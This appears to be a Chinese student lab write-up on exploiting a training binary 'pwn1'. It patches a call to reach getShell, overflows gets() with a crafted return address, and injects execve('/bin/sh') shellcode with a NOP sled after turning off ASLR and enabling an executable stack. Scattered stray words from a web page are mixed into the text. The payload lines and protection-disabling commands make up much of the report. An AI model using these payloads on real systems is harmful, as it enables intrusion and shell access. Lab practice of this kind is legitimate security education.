本次實踐的對象是一個名爲pwn1的linux可執行文件。
該程序正常執行流程是:main調用foo函數,foo函數會簡單回顯任何用戶輸入的字符串。
該程序同時包含另外一個代碼片斷,getShell,會返回一個可用Shell。正常狀況下這個代碼是不會被運行的。咱們實踐的目標就是想辦法運行這個代碼片斷。咱們將學習兩種方法運行這個代碼片斷,而後學習如何注入運行任何Shellcode。html
管道(|):管道是Linux由Unix那裏繼承過來的進程間的通訊機制,它是Unix早期的一個重要通訊機制。其思想是,在內存中建立一個共享文件,從而使通訊雙方利用這個共享文件來傳遞信息。因爲這種方式具備單向傳遞數據的特色,因此這個做爲傳遞消息的共享文件就叫作「管道」。
管道的侷限性:
① 數據本身讀不能本身寫。
② 數據一旦被讀走,便不在管道中存在,不可反覆讀取。
③ 因爲管道採用半雙工通訊方式。所以,數據只能在一個方向上流動。
④ 只能在有公共祖先的進程間使用管道。linux
輸入:linux標準輸入設備指的是鍵盤,標準輸出設備指的是顯示器,標準錯誤輸出指的是顯示器。
shell
輸出重定向(>):輸出重定向就是指不使用linux默認的標準輸出設備顯示信息,而是指定某個文件作爲標準輸出設備來存儲文件信息。vim
Linux下進程地址空間的佈局
典型的堆棧結構
棧中有return address還有局部變量,也就是函數的參數,bof攻擊是利用上參數的溢出將返回地址return address用本身構造的數據覆蓋掉,從而控制程序的進程。接下來就試着經過bof攻擊來實現調用getshell函數。windows
下載目標文件pwn1到實驗虛擬機,反彙編objdump -d pwn1 |more
。下面只保留了最核心的幾行代碼。
指令將調用位於地址8048491處的foo函數
其對應機器指令爲「e8 d7ffffff」,e8即跳轉。
此時此刻EIP的值應該是下條指令的地址,即80484ba,但出現e8這條指令,CPU就會轉而執行 「EIP + d7ffffff」這個位置的指令。「d7ffffff」是補碼,表示-41,41=0x29,80484ba +d7ffffff= 80484ba-0x29正好是8048491這個值,調用getShell,只要修改「d7ffffff」爲,"getShell-80484ba"對應的補碼就行。直接 804847d-80484ba就能獲得補碼,是c3ffffff。sass
因此編輯pwn1文件 vim pwn1
將其中的call指令的目標地址由d7ffffff變爲c3ffffff安全
如下操做是在vi內dom
- 按ESC鍵
- 輸入以下,將顯示模式切換爲16進制模式
:%!xxd- 查找要修改的內容
/e8d7- 找到後先後的內容和反彙編的對比下,確認是地方是正確的
- 修改d7爲c3
- 轉換16進製爲原格式
:%!xxd -r- 存盤退出vi
:wq
./pwn1
運行
咱們從新命名一個原pwn文件pwn1_2
svg
該可執行文件正常運行是調用函數foo,這個函數有Buffer overflow漏洞,即foo函數中的gets函數,因爲該函數不會檢查用戶輸入的長度,經過「棧溢出」覆蓋棧中保存的RET地址,能夠改變程序的執行流。
函數foo中的mov(804849a)讀入字符串,但系統只預留了32字節的緩衝區,超出部分會形成溢出,咱們的目標是覆蓋返回地址
函數main中的call調用函數foo,同時在堆棧上壓上返回地址值:80484ae函數
若是輸入字符串1111111122222222333333334444444412345678
,那 1234 那四個數最終會覆蓋到堆棧上的返回地址,進而CPU會嘗試運行這個位置的代碼。那隻要把這四個字符替換爲getShell的內存地址,輸入給pwn1,pwn1就會運行getShell
getShell的內存地址,經過反彙編時能夠看到,即0804847d
接下來要確認下字節序,由於PC屬於小端因此輸入11111111222222223333333344444444\x7d\x84\x04\x08
因爲無法經過鍵盤輸入\x7d\x84\x04\x08這樣的16進制值,因此須要使用prel方法先生成包括這樣字符串的一個文件,將getshell的內存地址寫入輸入字符串中,\x0a表示回車,若是沒有的話,在程序運行時就須要手工按一下回車鍵。
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
將input的輸入,經過管道符「|」,做爲pwn1的輸入
(cat input; cat) | ./pwn1_2
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
apt-get install execstack //安裝execstack命令
execstack -s pwn1_3 //設置堆棧可執行
execstack -q pwn1_3 //查詢文件的堆棧是否可執行
more /proc/sys/kernel/randomize_va_space //查詢是否關閉地址隨機化
echo "0" > /proc/sys/kernel/randomize_va_space //關閉地址隨機化
more /proc/sys/kernel/randomize_va_space //查詢是否關閉地址隨機化
Linux下有兩種基本構造攻擊buf的方法:
咱們這個buf夠放這個shellcode了
結構爲:nops+shellcode+retaddr
nop一爲是了填充,二是做爲「着陸區/滑行區」。
咱們猜的返回地址只要落在任何一個nop上,天然會滑到咱們的shellcode。
使用命令注入,其中前面32個A用來填滿緩衝區buf,\x04\x03\x02\x01
爲預留的返回地址retaddr:
perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
打開一個終端注入這段攻擊buf:
(cat input_shellcode;cat) | ./pwn1_3
開啓另外一終端調試進程
用ps -ef | grep pwn1_3
命令找到pwn1_3的進程號是:3937
用gdb pwn1_三、attach命令啓動gdb調試這個進程:
用disassemble foo
命令反彙編,經過設置斷點,來查看注入buf的內存地址:
經過break *0x080484ae
命令設置斷點,輸入countine 繼續運行
在另一個終端中按下回車使上一調試過程繼續執行。再返回調試終端,使用info r esp
命令查找地址:
用x/16x 0xffffd64c
命令查看其存放內容,看到了0x01020304
,就是返回地址的位置。根據咱們構造的input_shellcode可知,shellcode就在其後,因此地址應爲0xffffd650
:
接下來只須要將以前的\x4\x3\x2\x1改成這個地址便可,用命令
perl -e 'print "A" x 32;print "\x50\xd6\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
一、提示段錯誤
二、echo "0" > /proc/sys/kernel/randomize_va_space//關閉地址隨機化
提示權限不夠。
sudo su
root管理員還怕權限不夠。複習了linux虛擬機的操做和gdb調試,Kali和Ubuntu感受最大的不一樣就是Ubuntu系統預設了Ctrl+Alt+T
的快捷打開終端而Kali沒有,致使實驗須要打開另外一個終端時按了好久覺得電腦卡了(同配置下Kali也的確比Ubuntu要卡),後來搜了一下教程在快捷鍵裏添加了命令。
實驗上以爲彙編代碼真的很神奇,但是我彙編學得很差,可是在操做教程的指點下仍是完成了,但願之後的實驗能夠鑽研出一點有趣的玩法。
漏洞就是現代電子設備在硬件、軟件、協議上的一些可以引起一系列安全問題,威脅用戶操做的缺陷。好比此次實驗的漏洞是緩衝區溢出,由於沒有考慮到超出棧的空間分配的問題致使被利用,使軟件的功能被改變。攻擊者能夠對文件進行任意的操做,也可能會執行相關的惡意代碼,爲木馬植入、後門設置提供條件。